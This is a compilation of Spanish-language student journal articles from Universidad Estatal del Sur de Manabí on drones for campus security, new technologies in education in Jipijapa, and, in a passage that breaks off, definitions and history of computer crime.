programadores.com. (05 de 04 de 2018). *programadores.com*. Obtenido de <https://postparaprogramadores.com/curso-arduino/>

Rincon, D. S. (14 de 06 de 2018). Obtenido de <http://lupitan95.blogspot.com/2011/07/microfonos-y-parlantes.html>

Rous, M. (04 de 2017). *Tech Target*. Obtenido de <https://searchdatacenter.techtarget.com/es/definicion/Inteligencia-artificial-o-AI>

slaesforce. (22 de 06 de 2017). *slaesforce.com*. Obtenido de <https://www.salesforce.com/mx/blog/2017/6/Que-es-la-inteligencia-artificial.html>

BIOGRAFÍA DE AUTORES

Arguello Pin Jason Jonathan, Estudiante de la carrera de la Universidad Estatal del Sur de Manabí

Barreto Toala Alexandra Gissela. Estudiante de la carrera de la Universidad Estatal del Sur de Manabí

Christian José Álava Mero. Docente de la Universidad Estatal del sur de Manabí.

EL USO DE DRONES O AERONAVES NO TRIPULADOS COMO SEGURIDAD UTILIZADOS EN LA UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Anchundia Palma Liseth Evelin,

Castillo Vera Robert Anthony,

Ing. Christian José Álava Mero. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

Las aeronaves no tripuladas, ya están presentes en nuestras vidas para quedarse definitivamente aquí. El objetivo de ellos es que son de gran ayuda en el lugar de una emergencia, ya que estos vehículos aéreos son capaces de cubrir extensas zonas en poco tiempo, y como llevan una cámara de video en su base, permite mantener una visión completa de lo que está sucediendo a su alrededor, lo cual esta investigación se efectuó en el complejo universitario UNESUM, y su objetivo para su utilización radica única y exclusivamente en la seguridad. Y como metodología la utilización de las aeronaves son la nueva normativa que aporta seguridad a la ciudadanía y las garantías necesarias dentro del sector ya que es prometedor, y de una forma consistente y segura, que abarcan todos los ámbitos de la seguridad. Este tema cada vez se va ampliando más, ya que actualmente la seguridad y la vigilancia privada están haciendo uso de esta herramienta que ofrece imágenes aéreas recogiendo gran variedad de datos permitiendo beneficiar y prestar un buen servicio con diferentes fines favoreciendo a todos en un ámbito muy amplio de la seguridad, donde se han experimentado crecimientos muy favorables sobre el uso de estos aparatos.

PALABRAS CLAVE: crecimientos, herramienta, seguridad, vehículos aéreos, visión completa.

ABSTRACT

Unmanned aircraft are already present in our lives to stay here permanently. The objective of them is that they are of great help in the place of an emergency, since these aerial vehicles are capable of covering large areas in a short time, and since they carry a video camera in their base, it allows to maintain a complete vision of the what is happening around him, which this research was carried out in the UNESUM university complex, and its objective for its use lies solely and exclusively in security. And as a methodology, the use of aircraft is the new norm that provides security to citizens and the necessary guarantees within the sector, since it is

promising, and in a consistent and safe way, covering all areas of security. This issue is increasingly expanding, as security and private surveillance are currently using this tool that offers aerial images collecting a variety of data allowing benefit and provide a good service for different purposes favoring everyone in a very broad security, where there have been very favorable growths on the use of these devices.

KEYWORDS: aerial vehicles, complete visión, growths, safety, tool

1. INTRODUCCIÓN

De la seguridad depende el futuro del sector. Todas las posibilidades que tiene el desarrollo de los drones se acabarían si no fueran seguros, ya que en un ámbito muy amplio de la seguridad. Hay que garantizar la seguridad del resto de las aeronaves con las que comparten el espacio aéreo (Tecnología, 2014)

El objetivo de un Dron profesional, es que son de gran ayuda en el lugar de una emergencia, ya que estos vehículos aéreos pueden alcanzar 120km/h y estar en vuelo por 3 horas siendo capaces de cubrir extensas zonas en poco tiempo, y como lleva una cámara de video en su base, permite mantener una visión completa, muy diferente a los drones que en el comercio se venden para niños, coleccionistas que si bien son de verdad (no juguetes) poseen una autonomía de vuelo inferior a los 10 minutos promedio y su velocidad llega solo a los 60 km/h como máximo, descartando que sea una herramienta de ayuda efectiva para el área de seguridad.

Hay que asegurar que las personas y los bienes en tierra no corran peligro, y por supuesto, que estas aeronaves pilotadas por control remoto no sean utilizadas de forma ilícita, de manera que, sin seguridad no hay sector.

2. DESARROLLO

Según Antonio Barrientos (2015), miembro del Grupo de Robótica y Cibernética de la Universidad Politécnica de Madrid, si bien desde hace ya algunas décadas las aeronaves no tripuladas han sido motivo de interés, sobre todo en el ámbito militar, no ha sido hasta los últimos años que han pasado de sistemas experimentales a equipos aptos para su uso profesional

Ligado al interés en aplicaciones militares, la ampliación de su uso civil ha originado la aparición de un número apreciable de grupos de investigación y de pequeñas empresas dedicados al desarrollo de los subsistemas, a la integración de los mismos o a la puesta en

marcha de aplicaciones y servicios basados en el uso de las aeronaves no tripuladas. El fenómeno drone ha aparecido en nuestras vidas de forma rápida y masiva. La importancia de ahondar en un tema de esta índole no se debe únicamente a un factor exclusivo, sino todo lo contrario. (Saeed, 2014)

En la actualidad en Bolivia es muy difícil poder obtener un vehículo aéreo no tripulado UAV-Drone, ya sea por los elevados costos que implica la obtención de esta tecnología, la dificultad de poder acceder a esta tecnología. Una de las tecnologías que más destacan y llaman la atención de todos en estos últimos años son los llamados drones que son, pequeños aparatos voladores no tripulados y que pueden ser controlados en forma remota. Obviamente que un dispositivo de estas características sorprendería a cualquiera que alzase su cabeza y lo viera sobrevolando la ciudad presta a la entrega de un paquete o realizando tareas de vigilancia, que no es para nada ficción. (Abizaid, 2014)

Este proyecto se realizará para facilitar acceso a esta tecnología en la familia boliviana común, el cual se pueda emplear para diferentes tipos de uso:

- Grabar acontecimientos con vistas aéreas.
- Enviar paquetes de un lugar a otro.
- Seguridad.

¿Qué es un drone?

El término genérico que se utiliza para denominar a estos aparatos tecnológicos es Vehículo Aéreo No Tripulado (siglas VANT en español) o Unmanned Aerial Vehicles (UAV) en inglés. Técnicamente, los drones y los VANT/UAV son lo mismo, aeronaves no tripuladas por ningún piloto. Sin embargo, es cierto que existen diferentes denominaciones para estos aparatos dependiendo de sus características o utilidades, y es que en el mundo de los vehículos aéreos no tripulados se utilizan infinidad de siglas y palabras, lo cual lleva a la confusión y su incorrecto uso. (Tecnología, 2015)

Uno de los actuales problemas tanto para expertos, periodistas como para el público en general, es que ningún organismo oficial, indiferentemente del país, ha regulado y definido con propiedad cómo conceptualizara cada tipo de aparato, lo que origina confusión, e incluso, la elección libre del término a utilizaren el lenguaje de cada autor o persona en particular.

La política de la verticalidad que despliegan los drones en los espacios de batalla hace posible la desestructuración de relaciones sociales y de las identidades políticas (Adey et al. 2011). A dicha destrucción, hay que subrayarlo, le antecede otra violencia que se encuentra anclada en los procesos previos de clasificación social, con los que son cargados los sistemas algorítmicos de batalla. Es aquí donde se establecen las coordenadas que definen a los grupos considerados como amenaza para la seguridad y la estabilidad política (Abu-Laban y Bajan 2011)

Nacidos en un entorno militar, los drones o vehículos aéreos no tripulados son cada vez más comunes en la sociedad del consumo. En poco tiempo estos aparatos tecnológicos han pasado de utilizarse solo como arma en ataques militares a convertirse en un regalo para un niño el día de Navidad. Según Helen Pike¹ (2013)

Según los resultados de las investigaciones realizadas por Tremayne y Clark²(2014), estos dispositivos son denominados de las siguientes formas: uninhabited aircraft (UA), unmanned aerial vehicles (UAV), unmaned aerial systems (UAS), remotely piloted aircraft (RPA) y remotely piloted vehicles (RPVs).

Características de un drone

En la actualidad existen una gran variedad de características, formas y tamaños de estos aparatos tecnológicos en función del uso al que estén destinados. El tamaño y autonomía de los Drones son muy diversos. (Aced, 2013) Podemos encontrar drones tan pequeños como insectos y tan grandes como aviones de carga. En el caso de los drones civiles, la mayoría de ellos no presentan un gran tamaño sino al contrario, son muy ligeros, desmontables y se pueden llegar a transportar en una maleta. La autonomía de estos aparatos tecnológicos puede llegar a variar según la cantidad de combustible del que dispongan, pero en los modelos más pequeños, las baterías pueden llegar a durar entre los 30 y 60 minutos.

Además, van equipados con GPS y giróscopos y en muchos modelos, si detectan algún problema o pierden la señal con el operador, regresan automáticamente a la base. El piloto maneja la nave a través de rutas y coordenadas que definen el trayecto, aunque en los modelos más sencillos, se puede llegar a realizar esta labor a través de un joystick³de radiocontrol. Estos dispositivos tienen un gran potencial en áreas muy diversas ya que pueden desplazarse por zonas de alto riesgo o difícil acceso, y superar cualquier tipo de obstáculo, ofreciendo imágenes aéreas o recogiendo gran variedad de datos sin poner en peligro la vida de tripulación alguna. Centrándonos en el mundo del periodismo, los drones utilizados para la búsqueda y captación de imágenes como fuente de información periodística suelen ser pequeños drones, fáciles de

controlar y que están equipados con cámaras de alta resolución, normalmente con cámaras de la marca GoPr.

3. MATERIALES Y MÉTODOS

Para llevar a cabo la realización de este estudio, se revisaron y analizaron los diferentes documentos relacionados al tema, también con ayuda de los diferentes buscadores que podemos encontrar en la web de los cuales se obtuvieron diferentes tipos de información de varios artículos científicos, informes y tesis entre otros, donde escogimos la información más apreciable, relacionados con los objetivos planteados en la presente investigación. (Adey, 2010)

La aplicación más factible en la actualidad para este campo de seguridad es la utilización de los drones que han experimentado un importante crecimiento en los últimos años tanto en operaciones militares aplicaciones civiles entre otros tipos de operaciones, de manera que estos sistemas pueden ser integrados a los centros de monitoreo o control, fortaleciendo la vigilancia y la seguridad ya sea pública o privada permitiendo una mayor cobertura dentro de su campo de acción.

4. RESULTADOS Y DISCUSIÓN

A través de la presente investigación se encontró como resultado que el tema de los drones cada vez se va ampliando más, ya que actualmente la seguridad y la vigilancia privada están haciendo uso de esta herramienta favoreciendo a todos.

5. CONCLUSIONES

A través de los objetivos planteados sobre el desarrollo de los drones o vehículos aéreos no tripulados, donde se ha tenido una aceptación considerable en la parte comercial por que brindan gran ayuda en el lugar de una emergencia, estos vehículos aéreos son capaces de cubrir extensas zonas en poco tiempo, permitiendo mantener una visión completa de lo que está sucediendo a su alrededor, donde esta investigación se planteó en el complejo universitario UNESUM, es muy interesante observar cómo se ha ido innovando la tecnología, y ver la capacidad del ser humano al crear y diseñar prototipos a partir de herramientas como hardware y software que permitan beneficiar y prestar un buen servicio con diferentes fines. El desarrollo notable de la creatividad en funciones y aplicaciones de este aparato, las cuales parecen realmente infinitas y su utilización radica única y exclusivamente en la seguridad. Probablemente algún día con el avance de la tecnología, estas fascinantes naves nos van a permitir explorar zonas fuera del planeta y hasta donde la imaginación dé, también existe una

gran demanda de visualización ya que transmite en tiempo real, otra de las aportaciones de estos artefactos son el ingreso a lugares difíciles donde el ser humano no puede llegar o presente demasiado riesgo.

REFERENCIAS BIBLIOGRÁFICAS

- Abdelnour, S. y. (2014). *Technologizing Humanitarian Space: Darfur Advocacy and the Rape-Stove Panacea. International Political Sociology* 8: 145-163. 2. .
- Abizaid, J. P. (2014). *Recommendations and Report of the Task Force on U.S. Drone Policy. Washington: Stimson Center.*
- Aced, E. (2013). *Drones: una nueva era de la vigilancia y de la privacidad. Ciberseguridad e IC*, 48-57. *Recuperado de Aeronáutica Civil Colombiana. (2015). Circular reglamentaria 02. Recuperado.*
- Adey, P. (2010). *Vertical security in the megacity legibility, mobility and aerial politics. Theory, Culture & Society* 27(6): 51-67.
- Saeed, A. S. (2014). *Technologizing Humanitarian Space: Darfur Advocacy and the Rape-Stove Panacea. International Political Sociology* 8: 145-163. 2.
- Tecnología, A. (2015). “*Qué es un drone*” *Recuperado el 9 de abril del 2015.*
- Tecnología, A. (2014). *Los usos más increíbles de los drones. Recuperado el 11 de abril del 2015.*

BIOGRAFÍA DE AUTORES

Anchundia Palma Liseth Evelin, estudiante de la Universidad Estatal del Sur de Manabí.

Castillo Vera Robert Anthony, estudiante de la Universidad Estatal del Sur de Manabí.

Ing. Christian José Álava Mero, Docente de la Universidad Estatal del Sur de Manabí.

ANÁLISIS DE LAS NUEVAS TECNOLOGÍAS EN EL ÁMBITO EDUCATIVO DE JIPIJAPA

Chávez Mero María Valeria,

Lino Rodríguez Denisse Nicole,

Ing. Christian José Álava Mero. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

valeriachavezmero@gmail.com

RESUMEN

El siguiente trabajo presenta una perspectiva de Análisis de las nuevas tecnologías en el ámbito educativo en Jipijapa. Las nuevas tecnologías de la información y comunicación se están convirtiendo en un elemento clave en los sistemas educativos actuales, como consecuencia, las instituciones educativas sienten la presión de invertir en tecnología para unir teoría y práctica en el uso de la misma. Desde la aparición de internet y las nuevas tecnologías se ha dado una verdadera revolución tecnológica en las aulas. Las nuevas tecnologías, entendidas como los dispositivos digitales que se pueden conectar con un ordenador o internet. Aunque la tecnología puede tener un impacto muy positivo si se usa de manera correcta en los centros escolares, la implementación de su uso trae consigo algunos retos a los que tienen que hacer frente. Sin embargo, el campo de la educación ha sido pionero en explotar el potencial de estas herramientas en su actividad docente. El desarrollo tecnológico en el método inductivo es un aspecto evidente en el día a día de cualquier persona es difícil encontrar una profesión o un momento en nuestra vida social donde no exista la tecnología. Dichos indicadores a medir que las nuevas tecnologías han mejorado como la pizarra digital, Ordenador, Libros Online, tecnología móvil, Aprendizaje Digital, Big Data, Servicios Tecnológicos, han hecho que nuestro ambiente educativo mejor en jipijapa y así poder que los estudiantes tengan una mejor enseñanza. Las nuevas tecnologías están produciendo cambios importantes en el mundo social. Y permiten que la educación pueda ajustarse a las necesidades de las tecnologías y nos ayuda a alimentar nuestro conocimiento en el ámbito del aprendizaje de Jipijapa.

PALABRAS CLAVE: big data, dispositivos digitales, desarrollo tecnológico, sistema software libre, revolución tecnológica.

ABSTRACT

The following work presents a perspective of Analysis of new technology in the educational field in Jipijapa. New information and communication technologies are becoming a key

element in current education systems, as a result, educational institutions feel the pressure to invest in technology to unite theory and practice in the use of it. Since the advent of the internet and new technologies, there has been a real technological revolution in the classroom. New technologies, understood as digital devices that can be connected to a computer or the internet. Although technology can have a very positive impact if it is used correctly in schools, the implementation of its use brings with it some challenges that they have to face. However, the field of education has been a pioneer in exploiting the potential of these tools in their teaching activity. The technological development in the inductive method is an obvious aspect in the day to day of any person it is difficult to find a profession or a moment in our social life where technology does not exist. These indicators to measure that the new technologies have improved as the digital blackboard, Computer, Online Books, mobile technology, Digital Learning, Big Data, Technological Services, have made our educational environment better in jipijapa and so that students have a better teaching. New technologies are producing important changes in the social world. And they allow education to adjust to the needs of technologies and help us to feed our knowledge in the field of Jipijapa learning.

KEYWORDS: big data, digital devices, technological development, free software system, technological revolution.

1. INTRODUCCIÓN

Las nuevas tecnologías de la información y comunicación se están convirtiendo en un elemento clave en los sistemas educativos actuales, como consecuencia, las instituciones educativas sienten la presión de invertir en tecnología para unir teoría y práctica en el uso de la misma. Este análisis teórico se pretende realizar una serie de aspectos relacionados con las nuevas tecnologías de la información y la comunicación, tanto referidas a su diseño, como evaluación, producción y utilización educativa.

Nunca antes como en la actualidad, las tecnologías habían tenido tanta presencia y significación en las aulas. Esta tecnología se ha ido implementando paulatinamente, pero hoy en día constituyen una herramienta habitual en la enseñanza. Han venido a innovar y enriquecer los sistemas de educación y los procesos de enseñanza-aprendizaje trayendo diversos mecanismos que forman parte de la evolución educativa en la sociedad moderna.

En la actualidad, muchos profesores desean contar con recursos informáticos y con Internet para su docencia. Los tics en educación permiten el desarrollo de competencias en el

procesamiento y manejo de la información, el manejo de hardware y software entre otras, desde diversas áreas del conocimiento.

Las nuevas tecnologías de la información y la comunicación en la sociedad de la información son una base que hay que utilizar para diseñarlas, producirlas y evaluarlas ya que se deben considerar una metodología muy importante en el ámbito escolar.

Los alumnos tienen que aprender a diseñar e implementar un software informático específico y, al mismo tiempo, ser capaces de desarrollar, examinar y evaluar el objeto creado con la tecnología. La tecnología es en sí misma reflejo de los procesos sociales que a su vez transforma y es transformada por las prácticas culturales y organizativas de la sociedad misma. (Bartolome, 2001)

2. DESARROLLO

Las nuevas tecnologías de la información y la comunicación en la sociedad de la información son una base que hay que utilizar para diseñarlas, producirlas y evaluarlas ya que se deben considerar una metodología muy importante en el ámbito escolar. Los alumnos tienen que aprender a diseñar e implementar un software informático específico y, al mismo tiempo, ser capaces de desarrollar, examinar y evaluar el objeto creado con la tecnología. La tecnología es en sí misma reflejo de los procesos sociales que a su vez transforma y es transformada por las prácticas culturales y organizativas de la sociedad misma. La educación en una sociedad caracterizada por un desarrollo tecnológico avanzado no deja de sentir el impacto de las Tecnologías de la Información y la Comunicación. El uso de las tecnologías de la información y la comunicación en las aulas se ha ido implementando paulatinamente y en la actualidad constituyen herramientas con habitual presencia en la enseñanza.

Nunca antes como en la actualidad, las tecnologías habían tenido tanta presencia y significación en las aulas. Esta tecnología se ha ido implementando paulatinamente, pero hoy en día constituyen una herramienta habitual en la enseñanza. Han venido a innovar y enriquecer los sistemas de educación y los procesos de enseñanza-aprendizaje trayendo diversos mecanismos que forman parte de la evolución educativa en la sociedad moderna. En la actualidad, muchos profesores desean contar con recursos informáticos y con Internet para su docencia. Los tics en educación permiten el desarrollo de competencias en el procesamiento y manejo de la información, el manejo de hardware y software entre otras, desde diversas áreas del conocimiento. Hoy en día las tecnologías han sido de mucho impacto ya que son herramientas muy necesarias en el ámbito educativo ya que son base que se utiliza para diseñar, implementar

programa o sistema y así enriquecerse de conocimientos. Una de las tecnologías más importantes para los jóvenes el impacto de la nueva era ha causado grandes satisfacciones y beneficios en el ámbito educativo, pero no obstante presentan mayores limitaciones ya que el alumno se convierte en un procesador activo consciente del aprendizaje.

Las nuevas tecnologías están produciendo cambios importantes en el mundo social. Los nuevos contenidos permiten la creación de simulaciones, realidades. Permiten que la educación pueda ajustarse a las necesidades de las tecnologías. La aparición del internet provocó un fuerte impacto en el ámbito educativo. Está ocasionando cambios significativos en los métodos de enseñanza educativos. Podemos ver que internet puede ser aplicado a la enseñanza de diversas maneras sirviendo como apoyo a la enseñanza tradicional, alternando de las dos formas que se complementen. Todas las investigaciones se pueden encontrar por internet por medio de los buscadores.

Chadwick, C. (2004) Dijo que, el impacto de internet sobre la educación no es directo. Para empezar, es importante recordar que más de la mitad de la población mundial no tiene ninguna clase de experiencia directa en el uso de internet. Y, aunque es posible que esto cambie con la expansión global de la telefonía móvil, el problema de la desigualdad de acceso a las formas más potentes y versátiles de usar internet sigue siendo motivo de preocupación. Así pues, internet sería ese medio que permite proporcionar educación en cualquier momento, en cualquier lugar y a cualquier ritmo.

Hay analistas que han ampliado estas libertades para incluir la superación de impedimentos sociales y materiales, concibiendo así internet como un medio esencialmente democrático.

Aparte de dar acceso a una enorme cantidad de información, la posibilidad de que el usuario aporte contenidos y perfeccione los existentes convierte las herramientas Wiki, como Wikipedia, en importantes recursos educativos. Actualmente se está imponiendo entre muchos educadores la idea de que aplicaciones populares controladas por el usuario, como Wikipedia, permiten a los individuos participar en actividades de aprendizaje sin precedentes que son constructivas personalmente y significativas desde el punto de vista público. Las Tecnología tienen como base la información y han hecho que el usuario pase de tener el papel de receptor pasivo de un mensaje, a tener un papel activo, donde él decide la secuencia de la información y establece el ritmo, calidad, cantidad y profundización de la información que desea.

Esto es, realmente, un gran avance que debe ser aprovechado en el hecho instrucciones. Ahora los docentes pueden destinar su esfuerzo y el de los alumnos en desarrollar más las capacidades

mentales que les posibiliten a los estudiantes poder comprender adecuadamente la información y elaboración creativamente pudiendo así producir una calidad superior de razonamiento.

En la actualidad evaluaciones sobre la calidad educativa de los alumnos que egresan de la escuela media han demostrado que la mayoría no comprenden bien lo que leen y tienen serias deficiencias en poder razonar eficientemente. Por eso deben tener bien en cuenta la forma como la Internet puede mejorar la calidad del educando ya que este se puede en algunos casos revertir en su contra ya que por lo fácil que es acceder a esta fabulosa herramienta los adolescentes no se detienen a analizar ni a interpretar lo que allí se les trata de empeñar. Ante el surgimiento de nuevas tecnologías de Información y el avance en las comunicaciones aparecen nuevos retos en cada uno de los campos en los cuales nos desempeñamos, por ello se hace necesaria la inclusión de medios tecnológicos en la enseñanza. La red de redes “Internet”, viene a constituir un elemento relevante en cuanto a aspectos como el voluminoso manejo de información, la comunicación sin límites, la marcada interactividad y la diversidad de opiniones o puntos de vista desde cualquier parte del mundo; permitiendo al docente de hoy en día cubrir expectativas mediante este recurso tecnológico.

Como docentes, es indispensable analizar la repercusión que puede tener el Internet en el área educativa, siendo un medio novedoso con muchas posibilidades y fortalezas, por lo cual sería lastimoso no tomar en cuenta esta herramienta y desperdiciar las ventajas que nos puede ofrecer. Día a día los avances tecnológicos han contribuido para que Internet crezca y se propague a nivel mundial, arraigándose en cada uno de los sitios en la cual ha sido manejada y logrando un alto nivel de aceptación y popularidad entre quienes la acceden. Es así su evolución que se han resuelto limitantes como; los medios, el alcance y el coste de conexión, convirtiéndose hoy en día en un recurso accesible desde nuestro teléfono celular, portátil, y cualquier otro dispositivo.

El internet es uno de los recursos más fundamental en la educación, que ha tenido fuerte impacto en los últimos y han pasados a formar parte de las enseñanzas de los nuevos procesos educativos.

3. MATERIALES Y METODOS

Actualmente la tecnología se ha vuelto una herramienta indispensable. Ya que estas herramientas computacionales e informáticas que procesan sintetizan, recuperan y presentan información en el ámbito educativo de Jipijapa. Las nuevas tecnologías son efecto del continuo desarrollo de la tecnología sobre la educación.

Conforme la tecnología avanza en su evolución han hecho que los estudiantes tengan más fácil la información que necesita ya que en el internet encuentras todo para aprender. Las nuevas tecnologías multimedia nos sirven para comunicar ideas, describir objetos y otras informaciones en el trabajo. La eficacia de las nuevas tecnologías está siempre en relación con el fin que se pretende alcanzar.

Según (Cabrera, 2004) el aporte de diversos investigadores, la enseñanza mediada por computadoras lidera un gran cambio de la escuela, los profesores, los estudiantes y el currículo. No sólo origina cambios en la constitución de la organización escolar, sino que además favorece el aprendizaje de los estudiantes al promover habilidades de alto orden de pensamiento crítico, autonomía en el aprendizaje, colaboraciones más efectivas y habilidades sociales personales y de grupo.

4. RESULTADOS Y DISCUSIÓN

Dichos indicadores a medir que las nuevas tecnologías han mejorado como la pizarra digital, Ordenador, Libros Online, tecnología móvil, Aprendizaje Digital, Big Data, Servicios Tecnológicos, han hecho que nuestro ambiente educativo mejor en jipijapa y así poder que los estudiantes tengan una mejor enseñanza.

INDICADORES	Si	No
Pizarra Digital	Lo utiliza el 10%	No lo utiliza el 90%
Ordenador	Este indicador lo utilizan todas las instituciones.	
Libros Online	Lo utiliza el 10%	No lo utiliza el 90%
Tecnología Móvil	Este Indicador lo utilizan algunas instituciones.	
Aprendizaje Digital	Lo utiliza el 15%	No lo utiliza el 85%
Big Data		No lo utiliza

Servicios Tecnológicos	Este indicador lo utilizan todas las instituciones.	
------------------------	---	--

En donde se pudo determinar mediante los diversos análisis efectuados, que la tecnología ha avanzado bastante y ha hecho que este Cantón tenga una mejor educación.

5. CONCLUSIONES

A lo largo de este artículo se explican las diferentes tecnologías que existen en el ámbito educativo de Jipijapa ya que un 25% de esta parroquia conocen y utilizan esta tecnología que son Tablet, sistema digital, laptop, *Smart TV* el 75% no conocen de las tecnologías.

- Se convirtió en una gran satisfacción y beneficios en el ámbito educativo ya que el alumno es un procesador consiente del aprendizaje.
- Se están produciendo cambios importantes en la educación con las nuevas tecnologías en el mundo social. y nos ayuda a alimentar nuestro conocimiento en el ámbito del aprendizaje en Jipijapa.

REFERENCIAS BIBLIOGRÁFICAS

Adès, J. y Lejoyeux, M. (2003): Las nuevas adicciones Internet, juego, deporte, compras, trabajo, dinero

Alonso García, C. (2005). Aplicaciones educativas de las tecnologías de la información y la comunicación. Madrid: Instituto Superior de Formación del Profesorado.

Area, M. (2004) los medios y las tecnologías en la educación

Area, M. (coord) (2001): Educar en la sociedad de la información. Bilbao. Desclée.

Arjona, F. y H. Tappatá (1999), El nuevo debate educativo.

A esto J. Stiglitz (1998) Economía en la Educación

(Bartolome, 2001) tecnología en el proceso social

Bautista, A. y Alba, C. (1997) Tecnología Educativo

(Cabrera, 2004) constitución de la organización escolar

(Calzadilla, 2002) estrategias de la enseñanza escolar

Chadwick, C. (2004). Por qué no soy constructivista. Educación y nuevas tecnologías, contexto educativo

BIOGRAFÍA DE AUTORES

Chávez Mero María Valeria, estudiante de la Universidad Estatal del Sur de Manabí.

Lino Rodríguez Denisse Nicole, estudiante de la Universidad Estatal del Sur de Manabí.

Christian José Álava Mero, Docente de la Universidad Estatal del Sur de Manabí.

SOFTWARE QUE INFLIJO UN DELITO INFORMÁTICO EN LA UNIVERSIDAD ESTATAL DE SUR DE MANABÍ

Parrales Cevallos Andrés Javier

Ing. Vicente Fray Romero Castro. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

javi.ceval1@gmail.com

RESUMEN

Este artículo consideró en el análisis de delitos informáticos y abuso de tecnología de la información, cómo afectan a la Universidad Estatal del Sur de Manabí, debido a la violación de las reglas o leyes determinadas por dicha institución, un país o estado. Planeamos analizar los roles de los datos y el abuso de la tecnología de la información. Los avances en tecnología de la información, telecomunicaciones e Internet han favorecido la aparición de diferentes comportamientos fraudulentos relacionados con el uso de medios electrónicos de pago. El propósito de este estudio fue analizar los delitos informáticos y otras conductas fraudulentas relacionadas con las diversas soluciones que ofrece la institución para la prevención de diferentes tipos de delitos informáticos, y sus principales características. El ciberdelito vino con la nueva tecnología y que tales actos son ejecutados por una computadora para combatir y proteger a los ciudadanos utilizando las leyes de computadoras en las cuales las leyes que vivían para castigar a las personas involucradas en este tipo de delito. En un modelo de modelado utilizado por el método de modelado de la síntesis analítica para determinar el abuso de la tecnología de la información, en dos tablas, indicaremos la cantidad de delitos cometidos que más se cometen. Como resultado, obtenemos los datos estadísticos obtenidos, podemos percibir que la mayoría de los delitos de datos son el acceso ilegal a los sistemas informáticos para cifrar la información y solicitar grandes recompensas.

PALABRAS CLAVE: análisis, delitos informáticos, informática, prevención, tecnología.

ABSTRACT

This article considered in the analysis of computer data crimes and abuse of information technology, how they affect the State University of the South of Manabí, due to the violation of rules or laws determined by said institution, a country or state. We plan to analyze the roles of data and the abuse of information technology. The advances in information technology, telecommunications and the Internet have favored the emergence of different fraudulent behaviors related to the use of electronic means of payment. The purpose of this study is to

analyze computer crimes and other fraudulent behaviors related to the various solutions offered by the institution for the prevention of different types of computer crimes and their main characteristics. The cybercrime came with the new technology and that such acts are executed by a computer to combat and protect citizens using computer laws in which the laws that lived to punish the people involved in this type of crime. A modeling model used by the method of modeling the analytical synthesis to determine the abuse of information technology, two tables, we will indicate how much crime was made that more they run. As a result, we obtain statistical data obtained, we can perceive that the majority of data crimes are illegal access to computer systems to encrypt information to request large rewards.

Key words: Analysis, Computer crimes, Computing, Prevention, Technology.

1. INTRODUCCIÓN

Los delitos informáticos son considerados, un impacto delictivo que se presenta en el mundo ya que al no saber utilizar una herramienta tan importante como esta, es muy fácil que se cometa un acto delictivo con el simple hecho de clonar un documento que no es de su debida autorización lo que ha llamado la atención de muchas naciones los cuales no son capaces de cuidar sus derechos debido a la falta de conocimiento entorno a las leyes establecidas centradas al derecho informático. (Carpio, 2001)

Las características principales de los delitos informáticos son el tipo de conductas que tienen las personas, esto les permite realizar acciones delictivas en el ámbito informático que en su mayoría logran provocar pérdidas a personas, entidades u organizaciones, pero quienes realmente están encargados de mediar los actos por el uso de las Tecnologías son quienes tienen el poder jurídico haciendo cumplir las leyes y normas establecidas, defendiendo y respaldando nuestros derechos. (Springer, 2018)

Las tecnologías de la información tienen un papel importante en la vida del ser humano debido a su uso en la actualidad como herramienta de uso diario, son prácticamente necesarias para realizar actividades escolares, laborales, con fines investigativos y en algunos casos delictivos. Es por eso que en el ámbito jurídico debe adecuarse a los cambios que presenta la sociedad con el objetivo de crear una adecuada política de seguridad e información, basado en estándares internacionales la metodología que es empleada para dar impacto en la sociedad. (Rivero, 2007)

Al momento de analizar la problemática es necesario dar a conocer sus causas las mismas que están asociadas al desconocimiento de cómo deben ser usadas las tecnologías de la

Información, no miden las consecuencias o afectaciones que se dan por parte de los delitos informáticos cometidos. (Carpio, 2001)

2. DESARROLLO

Delitos informáticos

Los antecedentes de los delitos informáticos van a la par del desarrollo de las tecnologías de la información. Con el desarrollo de la tecnología, la sociedad se ha visto en un panorama de avance y desarrollo en todas sus áreas; por desgracia, la delincuencia también se ha beneficiado de esto. Entre los beneficios que ofrece el uso de redes de comunicación a los delincuentes se encuentran: la capacidad de cometer delitos en y desde cualquier parte del planeta, velocidad, gran cantidad de víctimas potenciales y anonimato, entre otros. uno de los primeros y más importantes ataques en la historia de Internet se remonta a CREEPER en 1971, escrito por el ingeniero Bob Thomas, es considerado el primer virus informático que afectó a una computadora el cual mostraba un mensaje en los equipos infectados, el cual, si no causaba daño alguno, fue la base para el desarrollo de ataques posteriores con pérdidas multimillonarias, como se menciona en el sitio web de la INTERPOL "se estima que en 2007 y 2008 la ciberdelincuencia tuvo un coste a escala mundial de unos 8.000 millones de dólares".

Definición es conveniente identificar de forma clara lo que se entiende por delito informático. Existen diversas definiciones respecto; un ejemplo es la definición de Camacho Losa, citada por Leyre Hernández, quien considera como delito informático: "toda acción dolosa que provoca un perjuicio a personas o entidades, sin que necesariamente conlleve un beneficio material para su autor aun cuando no perjudique de forma directa o inmediata a la víctima y en cuya comisión intervienen necesariamente de forma activa dispositivos habitualmente utilizados en las actividades informáticas."

Comete delito informático, la persona que dolosamente y sin derecho: una definición más simple que se propone es la siguiente: Delito informático es el uso de cualquier sistema informático como medio o fin de un delito. De esta manera se abarcan todas las modalidades delictivas de acuerdo al marco legal de cada país; para esto es conveniente definir qué es un sistema informático. De acuerdo con el convenio sobre la Ciberdelincuencia adoptado en Budapest, en 2001: "por sistema informático se entenderá todo dispositivo aislado o conjunto de dispositivos interconectados o relacionados entre sí, siempre que uno o varios de ellos permitan el tratamiento automatizado de datos en ejecución de un programa." Esta definición abarca no solo a las computadoras, sino a otros tipos de dispositivos como Data centers,

módems y cualquier otro sistema que permita la ejecución de un programa y/o manipulación de datos. Por otra parte, la guía del taller de prevención contra el Delito cibernético de la secretaria de seguridad pública (ssp) define el delito cibernético como: “actos u omisiones que sancionan las leyes penales con relación al mal uso de los medios cibernéticos.”

